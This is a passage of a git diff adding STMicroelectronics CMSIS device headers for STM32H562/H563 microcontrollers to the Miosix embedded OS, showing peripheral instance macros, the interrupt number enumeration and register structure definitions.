== USART11_NS) || ((INSTANCE) == USART11_S) || \ + ((INSTANCE) == UART12_NS) || ((INSTANCE) == UART12_S)) + +/******************** UART Instances : Wake-up from Stop mode **********************/ +#define IS_UART_WAKEUP_FROMSTOP_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S) || \ + ((INSTANCE) == UART4_NS) || ((INSTANCE) == UART4_S) || \ + ((INSTANCE) == UART5_NS) || ((INSTANCE) == UART5_S) || \ + ((INSTANCE) == USART6_NS) || ((INSTANCE) == USART6_S) || \ + ((INSTANCE) == UART7_NS) || ((INSTANCE) == UART7_S) || \ + ((INSTANCE) == UART8_NS) || ((INSTANCE) == UART8_S) || \ + ((INSTANCE) == UART9_NS) || ((INSTANCE) == UART9_S) || \ + ((INSTANCE) == USART10_NS) || ((INSTANCE) == USART10_S) || \ + ((INSTANCE) == USART11_NS) || ((INSTANCE) == USART11_S) || \ + ((INSTANCE) == UART12_NS) || ((INSTANCE) == UART12_S) || \ + ((INSTANCE) == LPUART1_NS) || ((INSTANCE) == LPUART1_S)) + +/*********************** UART Instances : IRDA mode ***************************/ +#define IS_IRDA_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S) || \ + ((INSTANCE) == UART4_NS) || ((INSTANCE) == UART4_S) || \ + ((INSTANCE) == UART5_NS) || ((INSTANCE) == UART5_S) || \ + ((INSTANCE) == USART6_NS) || ((INSTANCE) == USART6_S) || \ + ((INSTANCE) == UART7_NS) || ((INSTANCE) == UART7_S) || \ + ((INSTANCE) == UART8_NS) || ((INSTANCE) == UART8_S) || \ + ((INSTANCE) == UART9_NS) || ((INSTANCE) == UART9_S) || \ + ((INSTANCE) == USART10_NS) || ((INSTANCE) == USART10_S) || \ + ((INSTANCE) == USART11_NS) || ((INSTANCE) == USART11_S) || \ + ((INSTANCE) == UART12_NS) || ((INSTANCE) == UART12_S)) + +/********************* USART Instances : Smard card mode ***********************/ +#define IS_SMARTCARD_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S) || \ + ((INSTANCE) == USART6_NS) || ((INSTANCE) == USART6_S) || \ + ((INSTANCE) == USART10_NS) || ((INSTANCE) == USART10_S) || \ + ((INSTANCE) == USART11_NS) || ((INSTANCE) == USART11_S)) + +/******************** LPUART Instance *****************************************/ +#define IS_LPUART_INSTANCE(INSTANCE) (((INSTANCE) == LPUART1_NS) || ((INSTANCE) == LPUART1_S)) + +/******************** CEC Instance *****************************************/ +#define IS_CEC_ALL_INSTANCE(INSTANCE) (((INSTANCE) == CEC_NS) || ((INSTANCE) == CEC_S)) + +/****************************** IWDG Instances ********************************/ +#define IS_IWDG_ALL_INSTANCE(INSTANCE) (((INSTANCE) == IWDG_NS) || ((INSTANCE) == IWDG_S)) + +/****************************** WWDG Instances ********************************/ +#define IS_WWDG_ALL_INSTANCE(INSTANCE) (((INSTANCE) == WWDG_NS) || ((INSTANCE) == WWDG_S)) + +/****************************** UCPD Instances ********************************/ +#define IS_UCPD_ALL_INSTANCE(INSTANCE) (((INSTANCE) == UCPD1_NS) || ((INSTANCE) == UCPD1_S)) + +/******************************* USB DRD FS HCD Instances *************************/ +#define IS_HCD_ALL_INSTANCE(INSTANCE) (((INSTANCE) == USB_DRD_FS_NS) || ((INSTANCE) == USB_DRD_FS_S)) + +/******************************* USB DRD FS PCD Instances *************************/ +#define IS_PCD_ALL_INSTANCE(INSTANCE) (((INSTANCE) == USB_DRD_FS_NS) || ((INSTANCE) == USB_DRD_FS_S)) + +/** @} */ /* End of group STM32H5xx_Peripheral_Exported_macros */ + +/** @} */ /* End of group STM32H562xx */ + +/** @} */ /* End of group ST */ + +#ifdef __cplusplus +} +#endif + +#endif /* STM32H562xx_H */ diff --git a/miosix/arch/CMSIS/Device/ST/STM32H5xx/Include/stm32h563xx.h b/miosix/arch/CMSIS/Device/ST/STM32H5xx/Include/stm32h563xx.h new file mode 100644 index 000000000..e35987ddb --- /dev/null +++ b/miosix/arch/CMSIS/Device/ST/STM32H5xx/Include/stm32h563xx.h @@ -0,0 +1,24005 @@ +/** + ****************************************************************************** + * @file stm32h563xx.h + * @author MCD Application Team + * @brief CMSIS STM32H563xx Device Peripheral Access Layer Header File. + * + * This file contains: + * - Data structures and the address mapping for all peripherals + * - Peripheral's registers declarations and bits definition + * - Macros to access peripheral's registers hardware + * + ****************************************************************************** + * @attention + * + * Copyright (c) 2023 STMicroelectronics. + * All rights reserved. + * + * This software is licensed under terms that can be found in the LICENSE file + * in the root directory of this software component. + * If no LICENSE file comes with this software, it is provided AS-IS. + * + ****************************************************************************** + */ + +#ifndef STM32H563xx_H +#define STM32H563xx_H + +#ifdef __cplusplus +extern "C" { +#endif + +/** @addtogroup ST + * @{ + */ + + +/** @addtogroup STM32H563xx + * @{ + */ + + +/** @addtogroup Configuration_of_CMSIS + * @{ + */ + + +/* =========================================================================================================================== */ +/* ================ Interrupt Number Definition ================ */ +/* =========================================================================================================================== */ + +typedef enum +{ +/* ======================================= ARM Cortex-M33 Specific Interrupt Numbers ======================================= */ + Reset_IRQn = -15, /*!< -15 Reset Vector, invoked on Power up and warm reset */ + NonMaskableInt_IRQn = -14, /*!< -14 Non maskable Interrupt, cannot be stopped or preempted */ + HardFault_IRQn = -13, /*!< -13 Hard Fault, all classes of Fault */ + MemoryManagement_IRQn = -12, /*!< -12 Memory Management, MPU mismatch, including Access Violation + and No Match */ + BusFault_IRQn = -11, /*!< -11 Bus Fault, Pre-Fetch-, Memory Access Fault, other address/memory + related Fault */ + UsageFault_IRQn = -10, /*!< -10 Usage Fault, i.e. Undef Instruction, Illegal State Transition */ + SecureFault_IRQn = -9, /*!< -9 Secure Fault */ + SVCall_IRQn = -5, /*!< -5 System Service Call via SVC instruction */ + DebugMonitor_IRQn = -4, /*!< -4 Debug Monitor */ + PendSV_IRQn = -2, /*!< -2 Pendable request for system service */ + SysTick_IRQn = -1, /*!< -1 System Tick Timer */ + +/* =========================================== STM32H563xx Specific Interrupt Numbers ====================================== */ + WWDG_IRQn = 0, /*!< Window WatchDog interrupt */ + PVD_AVD_IRQn = 1, /*!< PVD/AVD through EXTI Line detection Interrupt */ + RTC_IRQn = 2, /*!< RTC non-secure interrupt */ + RTC_S_IRQn = 3, /*!< RTC secure interrupt */ + TAMP_IRQn = 4, /*!< Tamper global interrupt */ + RAMCFG_IRQn = 5, /*!< RAMCFG global interrupt */ + FLASH_IRQn = 6, /*!< FLASH non-secure global interrupt */ + FLASH_S_IRQn = 7, /*!< FLASH secure global interrupt */ + GTZC_IRQn = 8, /*!< Global TrustZone Controller interrupt */ + RCC_IRQn = 9, /*!< RCC non secure global interrupt */ + RCC_S_IRQn = 10, /*!< RCC secure global interrupt */ + EXTI0_IRQn = 11, /*!< EXTI Line0 interrupt */ + EXTI1_IRQn = 12, /*!< EXTI Line1 interrupt */ + EXTI2_IRQn = 13, /*!< EXTI Line2 interrupt */ + EXTI3_IRQn = 14, /*!< EXTI Line3 interrupt */ + EXTI4_IRQn = 15, /*!< EXTI Line4 interrupt */ + EXTI5_IRQn = 16, /*!< EXTI Line5 interrupt */ + EXTI6_IRQn = 17, /*!< EXTI Line6 interrupt */ + EXTI7_IRQn = 18, /*!< EXTI Line7 interrupt */ + EXTI8_IRQn = 19, /*!< EXTI Line8 interrupt */ + EXTI9_IRQn = 20, /*!< EXTI Line9 interrupt */ + EXTI10_IRQn = 21, /*!< EXTI Line10 interrupt */ + EXTI11_IRQn = 22, /*!< EXTI Line11 interrupt */ + EXTI12_IRQn = 23, /*!< EXTI Line12 interrupt */ + EXTI13_IRQn = 24, /*!< EXTI Line13 interrupt */ + EXTI14_IRQn = 25, /*!< EXTI Line14 interrupt */ + EXTI15_IRQn = 26, /*!< EXTI Line15 interrupt */ + GPDMA1_Channel0_IRQn = 27, /*!< GPDMA1 Channel 0 global interrupt */ + GPDMA1_Channel1_IRQn = 28, /*!< GPDMA1 Channel 1 global interrupt */ + GPDMA1_Channel2_IRQn = 29, /*!< GPDMA1 Channel 2 global interrupt */ + GPDMA1_Channel3_IRQn = 30, /*!< GPDMA1 Channel 3 global interrupt */ + GPDMA1_Channel4_IRQn = 31, /*!< GPDMA1 Channel 4 global interrupt */ + GPDMA1_Channel5_IRQn = 32, /*!< GPDMA1 Channel 5 global interrupt */ + GPDMA1_Channel6_IRQn = 33, /*!< GPDMA1 Channel 6 global interrupt */ + GPDMA1_Channel7_IRQn = 34, /*!< GPDMA1 Channel 7 global interrupt */ + IWDG_IRQn = 35, /*!< IWDG global interrupt */ + ADC1_IRQn = 37, /*!< ADC1 global interrupt */ + DAC1_IRQn = 38, /*!< DAC1 global interrupt */ + FDCAN1_IT0_IRQn = 39, /*!< FDCAN1 interrupt 0 */ + FDCAN1_IT1_IRQn = 40, /*!< FDCAN1 interrupt 1 */ + TIM1_BRK_IRQn = 41, /*!< TIM1 Break interrupt */ + TIM1_UP_IRQn = 42, /*!< TIM1 Update interrupt */ + TIM1_TRG_COM_IRQn = 43, /*!< TIM1 Trigger and Commutation interrupt */ + TIM1_CC_IRQn = 44, /*!< TIM1 Capture Compare interrupt */ + TIM2_IRQn = 45, /*!< TIM2 global interrupt */ + TIM3_IRQn = 46, /*!< TIM3 global interrupt */ + TIM4_IRQn = 47, /*!< TIM4 global interrupt */ + TIM5_IRQn = 48, /*!< TIM5 global interrupt */ + TIM6_IRQn = 49, /*!< TIM6 global interrupt */ + TIM7_IRQn = 50, /*!< TIM7 global interrupt */ + I2C1_EV_IRQn = 51, /*!< I2C1 Event interrupt */ + I2C1_ER_IRQn = 52, /*!< I2C1 Error interrupt */ + I2C2_EV_IRQn = 53, /*!< I2C2 Event interrupt */ + I2C2_ER_IRQn = 54, /*!< I2C2 Error interrupt */ + SPI1_IRQn = 55, /*!< SPI1 global interrupt */ + SPI2_IRQn = 56, /*!< SPI2 global interrupt */ + SPI3_IRQn = 57, /*!< SPI3 global interrupt */ + USART1_IRQn = 58, /*!< USART1 global interrupt */ + USART2_IRQn = 59, /*!< USART2 global interrupt */ + USART3_IRQn = 60, /*!< USART3 global interrupt */ + UART4_IRQn = 61, /*!< UART4 global interrupt */ + UART5_IRQn = 62, /*!< UART5 global interrupt */ + LPUART1_IRQn = 63, /*!< LPUART1 global interrupt */ + LPTIM1_IRQn = 64, /*!< LPTIM1 global interrupt */ + TIM8_BRK_IRQn = 65, /*!< TIM8 Break interrupt */ + TIM8_UP_IRQn = 66, /*!< TIM8 Update interrupt */ + TIM8_TRG_COM_IRQn = 67, /*!< TIM8 Trigger and Commutation interrupt */ + TIM8_CC_IRQn = 68, /*!< TIM8 Capture Compare interrupt */ + ADC2_IRQn = 69, /*!< ADC2 global interrupt */ + LPTIM2_IRQn = 70, /*!< LPTIM2 global interrupt */ + TIM15_IRQn = 71, /*!< TIM15 global interrupt */ + TIM16_IRQn = 72, /*!< TIM16 global interrupt */ + TIM17_IRQn = 73, /*!< TIM17 global interrupt */ + USB_DRD_FS_IRQn = 74, /*!< USB FS global interrupt */ + CRS_IRQn = 75, /*!< CRS global interrupt */ + UCPD1_IRQn = 76, /*!< UCPD1 global interrupt */ + FMC_IRQn = 77, /*!< FMC global interrupt */ + OCTOSPI1_IRQn = 78, /*!< OctoSPI1 global interrupt */ + SDMMC1_IRQn = 79, /*!< SDMMC1 global interrupt */ + I2C3_EV_IRQn = 80, /*!< I2C3 event interrupt */ + I2C3_ER_IRQn = 81, /*!< I2C3 error interrupt */ + SPI4_IRQn = 82, /*!< SPI4 global interrupt */ + SPI5_IRQn = 83, /*!< SPI5 global interrupt */ + SPI6_IRQn = 84, /*!< SPI6 global interrupt */ + USART6_IRQn = 85, /*!< USART6 global interrupt */ + USART10_IRQn = 86, /*!< USART10 global interrupt */ + USART11_IRQn = 87, /*!< USART11 global interrupt */ + SAI1_IRQn = 88, /*!< Serial Audio Interface 1 global interrupt */ + SAI2_IRQn = 89, /*!< Serial Audio Interface 2 global interrupt */ + GPDMA2_Channel0_IRQn = 90, /*!< GPDMA2 Channel 0 global interrupt */ + GPDMA2_Channel1_IRQn = 91, /*!< GPDMA2 Channel 1 global interrupt */ + GPDMA2_Channel2_IRQn = 92, /*!< GPDMA2 Channel 2 global interrupt */ + GPDMA2_Channel3_IRQn = 93, /*!< GPDMA2 Channel 3 global interrupt */ + GPDMA2_Channel4_IRQn = 94, /*!< GPDMA2 Channel 4 global interrupt */ + GPDMA2_Channel5_IRQn = 95, /*!< GPDMA2 Channel 5 global interrupt */ + GPDMA2_Channel6_IRQn = 96, /*!< GPDMA2 Channel 6 global interrupt */ + GPDMA2_Channel7_IRQn = 97, /*!< GPDMA2 Channel 7 global interrupt */ + UART7_IRQn = 98, /*!< UART7 global interrupt */ + UART8_IRQn = 99, /*!< UART8 global interrupt */ + UART9_IRQn = 100, /*!< UART9 global interrupt */ + UART12_IRQn = 101, /*!< UART12 global interrupt */ + SDMMC2_IRQn = 102, /*!< SDMMC2 global interrupt */ + FPU_IRQn = 103, /*!< FPU global interrupt */ + ICACHE_IRQn = 104, /*!< Instruction cache global interrupt */ + DCACHE1_IRQn = 105, /*!< Data cache global interrupt */ + ETH_IRQn = 106, /*!< Ethernet global interrupt */ + ETH_WKUP_IRQn = 107, /*!< Ethernet Wakeup global interrupt */ + DCMI_PSSI_IRQn = 108, /*!< DCMI/PSSI global interrupt */ + FDCAN2_IT0_IRQn = 109, /*!< FDCAN2 interrupt 0 */ + FDCAN2_IT1_IRQn = 110, /*!< FDCAN2 interrupt 1 */ + CORDIC_IRQn = 111, /*!< CORDIC global interrupt */ + FMAC_IRQn = 112, /*!< FMAC global interrupt */ + DTS_IRQn = 113, /*!< DTS global interrupt */ + RNG_IRQn = 114, /*!< RNG global interrupt */ + HASH_IRQn = 117, /*!< HASH global interrupt */ + PKA_IRQn = 118, /*!< PKA global interrupt */ + CEC_IRQn = 119, /*!< CEC-HDMI global interrupt */ + TIM12_IRQn = 120, /*!< TIM12 global interrupt */ + TIM13_IRQn = 121, /*!< TIM13 global interrupt */ + TIM14_IRQn = 122, /*!< TIM14 global interrupt */ + I3C1_EV_IRQn = 123, /*!< I3C1 event interrupt */ + I3C1_ER_IRQn = 124, /*!< I3C1 error interrupt */ + I2C4_EV_IRQn = 125, /*!< I2C4 event interrupt */ + I2C4_ER_IRQn = 126, /*!< I2C4 error interrupt */ + LPTIM3_IRQn = 127, /*!< LPTIM3 global interrupt */ + LPTIM4_IRQn = 128, /*!< LPTIM4 global interrupt */ + LPTIM5_IRQn = 129, /*!< LPTIM5 global interrupt */ + LPTIM6_IRQn = 130, /*!< LPTIM6 global interrupt */ +} IRQn_Type; + + + +/* =========================================================================================================================== */ +/* ================ Processor and Core Peripheral Section ================ */ +/* =========================================================================================================================== */ + +/* ------- Start of section using anonymous unions and disabling warnings ------- */ +#if defined (__CC_ARM) + #pragma push + #pragma anon_unions +#elif defined (__ICCARM__) + #pragma language=extended +#elif defined(__ARMCC_VERSION) && (__ARMCC_VERSION >= 6010050) + #pragma clang diagnostic push + #pragma clang diagnostic ignored "-Wc11-extensions" + #pragma clang diagnostic ignored "-Wreserved-id-macro" +#elif defined (__GNUC__) + /* anonymous unions are enabled by default */ +#elif defined (__TMS470__) + /* anonymous unions are enabled by default */ +#elif defined (__TASKING__) + #pragma warning 586 +#elif defined (__CSMC__) + /* anonymous unions are enabled by default */ +#else + #warning Not supported compiler type +#endif + +#define SMPS /*!< Switched mode power supply feature */ + +/* -------- Configuration of the Cortex-M33 Processor and Core Peripherals ------ */ +#define __CM33_REV 0x0000U /* Core revision r0p1 */ +#define __SAUREGION_PRESENT 1U /* SAU regions present */ +#define __MPU_PRESENT 1U /* MPU present */ +#define __VTOR_PRESENT 1U /* VTOR present */ +#define __NVIC_PRIO_BITS 4U /* Number of Bits used for Priority Levels */ +#define __Vendor_SysTickConfig 0U /* Set to 1 if different SysTick Config is used */ +#define __FPU_PRESENT 1U /* FPU present */ +#define __DSP_PRESENT 1U /* DSP extension present */ + +/** @} */ /* End of group Configuration_of_CMSIS */ + + +#include /*!< ARM Cortex-M33 processor and core peripherals */ +#include "system_stm32h5xx.h" /*!< STM32H5xx System */ + + +/* =========================================================================================================================== */ +/* ================ Device Specific Peripheral Section ================ */ +/* =========================================================================================================================== */ + + +/** @addtogroup STM32H5xx_peripherals + * @{ + */ + +/** + * @brief CRC calculation unit + */ +typedef struct +{ + __IO uint32_t DR; /*!< CRC Data register, Address offset: 0x00 */ + __IO uint32_t IDR; /*!< CRC Independent data register, Address offset: 0x04 */ + __IO uint32_t CR; /*!< CRC Control register, Address offset: 0x08 */ + uint32_t RESERVED2; /*!< Reserved, 0x0C */ + __IO uint32_t INIT; /*!< Initial CRC value register, Address offset: 0x10 */ + __IO uint32_t POL; /*!< CRC polynomial register, Address offset: 0x14 */ + uint32_t RESERVED3[246]; /*!< Reserved, */ + __IO uint32_t HWCFGR; /*!< CRC IP HWCFGR register, Address offset: 0x3F0 */ + __IO uint32_t VERR; /*!< CRC IP version register, Address offset: 0x3F4 */ + __IO uint32_t PIDR; /*!< CRC IP type identification register, Address offset: 0x3F8 */ + __IO uint32_t SIDR; /*!< CRC IP map Size ID register, Address offset: 0x3FC */ +} CRC_TypeDef; + +/** + * @brief Inter-integrated Circuit Interface + */ +typedef struct +{ + __IO uint32_t CR1; /*!< I2C Control register 1, Address offset: 0x00 */ + __IO uint32_t CR2; /*!< I2C Control register 2, Address offset: 0x04 */ + __IO uint32_t OAR1; /*!< I2C Own address 1 register, Address offset: 0x08 */ + __IO uint32_t OAR2; /*!< I2C Own address 2 register, Address offset: 0x0C */ + __IO uint32_t TIMINGR; /*!< I2C Timing register, Address offset: 0x10 */ + __IO uint32_t TIMEOUTR; /*!< I2C Timeout register, Address offset: 0x14 */ + __IO uint32_t ISR; /*!< I2C Interrupt and status register, Address offset: 0x18 */ + __IO uint32_t ICR; /*!< I2C Interrupt clear register, Address offset: 0x1C */ + __IO uint32_t PECR; /*!< I2C PEC register, Address offset: 0x20 */ + __IO uint32_t RXDR; /*!< I2C Receive data register, Address offset: 0x24 */ + __IO uint32_t TXDR; /*!< I2C Transmit data register, Address offset: 0x28 */ +} I2C_TypeDef; + +/** + * @brief Improved Inter-integrated Circuit Interface + */ +typedef struct +{ + __IO uint32_t CR; /*!< I3C Control register, Address offset: 0x00 */ + __IO uint32_t CFGR; /*!< I3C Controller Configuration register, Address offset: 0x04 */ + uint32_t RESERVED1[2]; /*!< Reserved, Address offset: 0x08-0x0C */ + __IO uint32_t RDR; /*!< I3C Received Data register, Address offset: 0x10 */ + __IO uint32_t RDWR; /*!< I3C Received Data Word register, Address offset: 0x14 */ + __IO uint32_t TDR; /*!< I3C Transmit Data register, Address offset: 0x18 */ + __IO uint32_t TDWR; /*!< I3C Transmit Data Word register, Address offset: 0x1C */ + __IO uint32_t IBIDR; /*!< I3C IBI payload Data register, Address offset: 0x20 */ + __IO uint32_t TGTTDR; /*!< I3C Target Transmit register, Address offset: 0x24 */ + uint32_t RESERVED2[2]; /*!< Reserved, Address offset: 0x28-0x2C */ + __IO uint32_t SR; /*!< I3C Status register, Address offset: 0x30 */ + __IO uint32_t SER; /*!< I3C Status Error register, Address offset: 0x34 */ + uint32_t RESERVED3[2]; /*!< Reserved, Address offset: 0x38-0x3C */ + __IO uint32_t RMR; /*!< I3C Received Message register, Address offset: 0x40 */ + uint32_t RESERVED4[3]; /*!< Reserved, Address offset: 0x44-0x4C */ + __IO uint32_t EVR; /*!< I3C Event register, Address offset: 0x50 */ + __IO uint32_t IER; /*!< I3C Interrupt Enable register, Address offset: 0x54 */ + __IO uint32_t CEVR; /*!< I3C Clear Event register, Address offset: 0x58 */ + uint32_t RESERVED5; /*!< Reserved, Address offset: 0x5C */ + __IO uint32_t DEVR0; /*!< I3C own Target characteristics register, Address offset: 0x60 */ + __IO uint32_t DEVRX[4]; /*!< I3C Target x (1<=x<=4) register, Address offset: 0x64-0x70 */ + uint32_t RESERVED6[7]; /*!< Reserved, Address offset: 0x74-0x8C */ + __IO uint32_t MAXRLR; /*!< I3C Maximum Read Length register, Address offset: 0x90 */ + __IO uint32_t MAXWLR; /*!< I3C Maximum Write Length register, Address offset: 0x94 */ + uint32_t RESERVED7[2]; /*!< Reserved, Address offset: 0x98-0x9C */ + __IO uint32_t TIMINGR0; /*!< I3C Timing 0 register, Address offset: 0xA0 */ + __IO uint32_t TIMINGR1; /*!< I3C Timing 1 register, Address offset: 0xA4 */ + __IO uint32_t TIMINGR2; /*!< I3C Timing 2 register, Address offset: 0xA8 */ + uint32_t RESERVED9[5]; /*!< Reserved, Address offset: 0xAC-0xBC */ + __IO uint32_t BCR; /*!< I3C Bus Characteristics register, Address offset: 0xC0 */ + __IO uint32_t DCR; /*!< I3C Device Characteristics register, Address offset: 0xC4 */ + __IO uint32_t GETCAPR; /*!< I3C GET CAPabilities register, Address offset: 0xC8 */ + __IO uint32_t CRCAPR; /*!< I3C Controller CAPabilities register, Address offset: 0xCC */ + __IO uint32_t GETMXDSR; /*!< I3C GET Max Data Speed register, Address offset: 0xD0 */ + __IO uint32_t EPIDR; /*!< I3C Extended Provisioned ID register, Address offset: 0xD4 */ +} I3C_TypeDef; + +/** + * @brief DAC + */ +typedef struct +{ + __IO uint32_t CR; /*!< DAC control register, Address offset: 0x00 */ + __IO uint32_t SWTRIGR; /*!< DAC software trigger register, Address offset: 0x04 */ + __IO uint32_t DHR12R1; /*!< DAC channel1 12-bit right-aligned data holding register, Address offset: 0x08 */ + __IO uint32_t DHR12L1; /*!< DAC channel1 12-bit left aligned data holding register, Address offset: 0x0C */ + __IO uint32_t DHR8R1; /*!< DAC channel1 8-bit right aligned data holding register, Address offset: 0x10 */ + __IO uint32_t DHR12R2; /*!< DAC channel2 12-bit right aligned data holding register, Address offset: 0x14 */ + __IO uint32_t DHR12L2; /*!< DAC channel2 12-bit left aligned data holding register, Address offset: 0x18 */ + __IO uint32_t DHR8R2; /*!< DAC channel2 8-bit right-aligned data holding register, Address offset: 0x1C */ + __IO uint32_t DHR12RD; /*!< Dual DAC 12-bit right-aligned data holding register, Address offset: 0x20 */ + __IO uint32_t DHR12LD; /*!< DUAL DAC 12-bit left aligned data holding register, Address offset: 0x24 */ + __IO uint32_t DHR8RD; /*!< DUAL DAC 8-bit right aligned data holding register, Address offset: 0x28 */ + __IO uint32_t DOR1; /*!< DAC channel1 data output register, Address offset: 0x2C */ + __IO uint32_t DOR2; /*!< DAC channel2 data output register, Address offset: 0x30 */ + __IO uint32_t SR; /*!< DAC status register, Address offset: 0x34 */ + __IO uint32_t CCR; /*!< DAC calibration control register, Address offset: 0x38 */ + __IO uint32_t MCR; /*!< DAC mode control register, Address offset: 0x3C */ + __IO uint32_t SHSR1; /*!< DAC Sample and Hold sample time register 1, Address offset: 0x40 */ + __IO uint32_t SHSR2; /*!< DAC Sample and Hold sample time register 2, Address offset: 0x44 */ + __IO uint32_t SHHR; /*!< DAC Sample and Hold hold time register, Address offset: 0x48 */ + __IO uint32_t SHRR; /*!< DAC Sample and Hold refresh time register, Address offset: 0x4C */ + __IO uint32_t RESERVED[1]; + __IO uint32_t AUTOCR; /*!< DAC Autonomous mode register, Address offset: 0x54 */ +} DAC_TypeDef; + +/** + * @brief Clock Recovery System + */ +typedef struct +{ +__IO uint32_t CR; /*!< CRS ccontrol register, Address offset: 0x00 */ +__IO uint32_t CFGR; /*!< CRS configuration register, Address offset: 0x04 */ +__IO uint32_t ISR; /*!< CRS interrupt and status register, Address offset: 0x08 */ +__IO uint32_t ICR; /*!< CRS interrupt flag clear register, Address offset: 0x0C */ +} CRS_TypeDef; + + +/** + * @brief HASH + */ +typedef struct +{ + __IO uint32_t CR; /*!< HASH control register, Address offset: 0x00 */ + __IO uint32_t DIN; /*!< HASH data input register, Address offset: 0x04 */ + __IO uint32_t STR; /*!< HASH start register, Address offset: 0x08 */ + __IO uint32_t HR[5]; /*!< HASH digest registers, Address offset: 0x0C-0x1C */ + __IO uint32_t IMR; /*!< HASH interrupt enable register, Address offset: 0x20 */ + __IO uint32_t SR; /*!< HASH status register, Address offset: 0x24 */ + uint32_t RESERVED[52]; /*!< Reserved, 0x28-0xF4 */ + __IO uint32_t CSR[103]; /*!< HASH context swap registers, Address offset: 0x0F8-0x290 */ +} HASH_TypeDef; + +/** + * @brief HASH_DIGEST + */ +typedef struct +{ + __IO uint32_t HR[16]; /*!< HASH digest registers, Address offset: 0x310-0x34C */ +} HASH_DIGEST_TypeDef; + +/** + * @brief RNG + */ +typedef struct +{ + __IO uint32_t CR; /*!< RNG control register, Address offset: 0x00 */ + __IO uint32_t SR; /*!< RNG status register, Address offset: 0x04 */ + __IO uint32_t DR; /*!< RNG data register, Address offset: 0x08 */ + __IO uint32_t NSCR; /*!< RNG noise source control register , Address offset: 0x0C */ + __IO uint32_t HTCR; /*!< RNG health test configuration register, Address offset: 0x10 */ +} RNG_TypeDef; + +/** + * @brief Debug MCU + */ +typedef struct +{ + __IO uint32_t IDCODE; /*!< MCU device ID code, Address offset: 0x00 */ + __IO uint32_t CR; /*!< Debug MCU configuration register, Address offset: 0x04 */ + __IO uint32_t APB1FZR1; /*!< Debug MCU APB1 freeze register 1, Address offset: 0x08 */ + __IO uint32_t APB1FZR2; /*!< Debug MCU APB1 freeze register 2, Address offset: 0x0C */ + __IO uint32_t APB2FZR; /*!< Debug MCU APB2 freeze register, Address offset: 0x10 */ + __IO uint32_t APB3FZR; /*!< Debug MCU APB3 freeze register, Address offset: 0x14 */ + uint32_t RESERVED1[2]; /*!< Reserved, 0x18 - 0x1C */ + __IO uint32_t AHB1FZR; /*!< Debug MCU AHB1 freeze register, Address offset: 0x20 */ + uint32_t RESERVED2[54]; /*!< Reserved, 0x24 - 0xF8 */ + __IO uint32_t SR; /*!< Debug MCU SR register, Address offset: 0xFC */ + __IO uint32_t DBG_AUTH_HOST; /*!< Debug DBG_AUTH_HOST register, Address offset: 0x100 */ + __IO uint32_t DBG_AUTH_DEV; /*!< Debug DBG_AUTH_DEV register, Address offset: 0x104 */ + __IO uint32_t DBG_AUTH_ACK; /*!< Debug DBG_AUTH_ACK register, Address offset: 0x108 */ + uint32_t RESERVED3[945]; /*!< Reserved, 0x10C - 0xFCC */ + __IO uint32_t PIDR4; /*!< Debug MCU Peripheral ID register 4, Address offset: 0xFD0 */ + __IO uint32_t PIDR5; /*!< Debug MCU Peripheral ID register 5, Address offset: 0xFD4 */ + __IO uint32_t PIDR6; /*!< Debug MCU Peripheral ID register 6, Address offset: 0xFD8 */ + __IO uint32_t PIDR7; /*!< Debug MCU Peripheral ID register 7, Address offset: 0xFDC */ + __IO uint32_t PIDR0; /*!< Debug MCU Peripheral ID register 0, Address offset: 0xFE0 */ + __IO uint32_t PIDR1; /*!< Debug MCU Peripheral ID register 1, Address offset: 0xFE4 */ + __IO uint32_t PIDR2; /*!< Debug MCU Peripheral ID register 2, Address offset: 0xFE8 */ + __IO uint32_t PIDR3; /*!< Debug MCU Peripheral ID register 3, Address offset: 0xFEC */ + __IO uint32_t CIDR0; /*!< Debug MCU Component ID register 0, Address offset: 0xFF0 */ + __IO uint32_t CIDR1; /*!< Debug MCU Component ID register 1, Address offset: 0xFF4 */ + __IO uint32_t CIDR2; /*!< Debug MCU Component ID register 2, Address offset: 0xFF8 */ + __IO uint32_t CIDR3; /*!< Debug MCU Component ID register 3, Address offset: 0xFFC */ +} DBGMCU_TypeDef; + +/** + * @brief DCMI + */ +typedef struct +{ + __IO uint32_t CR; /*!< DCMI control register 1, Address offset: 0x00 */ + __IO uint32_t SR; /*!< DCMI status register, Address offset: 0x04 */ + __IO uint32_t RISR; /*!< DCMI raw interrupt status register, Address offset: 0x08 */ + __IO uint32_t IER; /*!< DCMI interrupt enable register, Address offset: 0x0C */ + __IO uint32_t MISR; /*!< DCMI masked interrupt status register, Address offset: 0x10 */ + __IO uint32_t ICR; /*!< DCMI interrupt clear register, Address offset: 0x14 */ + __IO uint32_t ESCR; /*!< DCMI embedded synchronization code register, Address offset: 0x18 */ + __IO uint32_t ESUR; /*!< DCMI embedded synchronization unmask register, Address offset: 0x1C */ + __IO uint32_t CWSTRTR; /*!< DCMI crop window start, Address offset: 0x20 */ + __IO uint32_t CWSIZER; /*!< DCMI crop window size, Address offset: 0x24 */ + __IO uint32_t DR; /*!< DCMI data register, Address offset: 0x28 */ +} DCMI_TypeDef; + +/** + * @brief PSSI + */ +typedef struct +{ + __IO uint32_t CR; /*!< PSSI control register, Address offset: 0x000 */ + __IO uint32_t SR; /*!< PSSI status register, Address offset: 0x004 */ + __IO uint32_t RIS; /*!< PSSI raw interrupt status register, Address offset: 0x008 */ + __IO uint32_t IER; /*!< PSSI interrupt enable register, Address offset: 0x00C */ + __IO uint32_t MIS; /*!< PSSI masked interrupt status register, Address offset: 0x010 */ + __IO uint32_t ICR; /*!< PSSI interrupt clear register, Address offset: 0x014 */ + __IO uint32_t RESERVED1[4]; /*!< Reserved, 0x018 - 0x024 */ + __IO uint32_t DR; /*!< PSSI data register, Address offset: 0x028 */ +} PSSI_TypeDef; + +/** + * @brief DMA Controller + */ +typedef struct +{ + __IO uint32_t SECCFGR; /*!< DMA secure configuration register, Address offset: 0x00 */ + __IO uint32_t 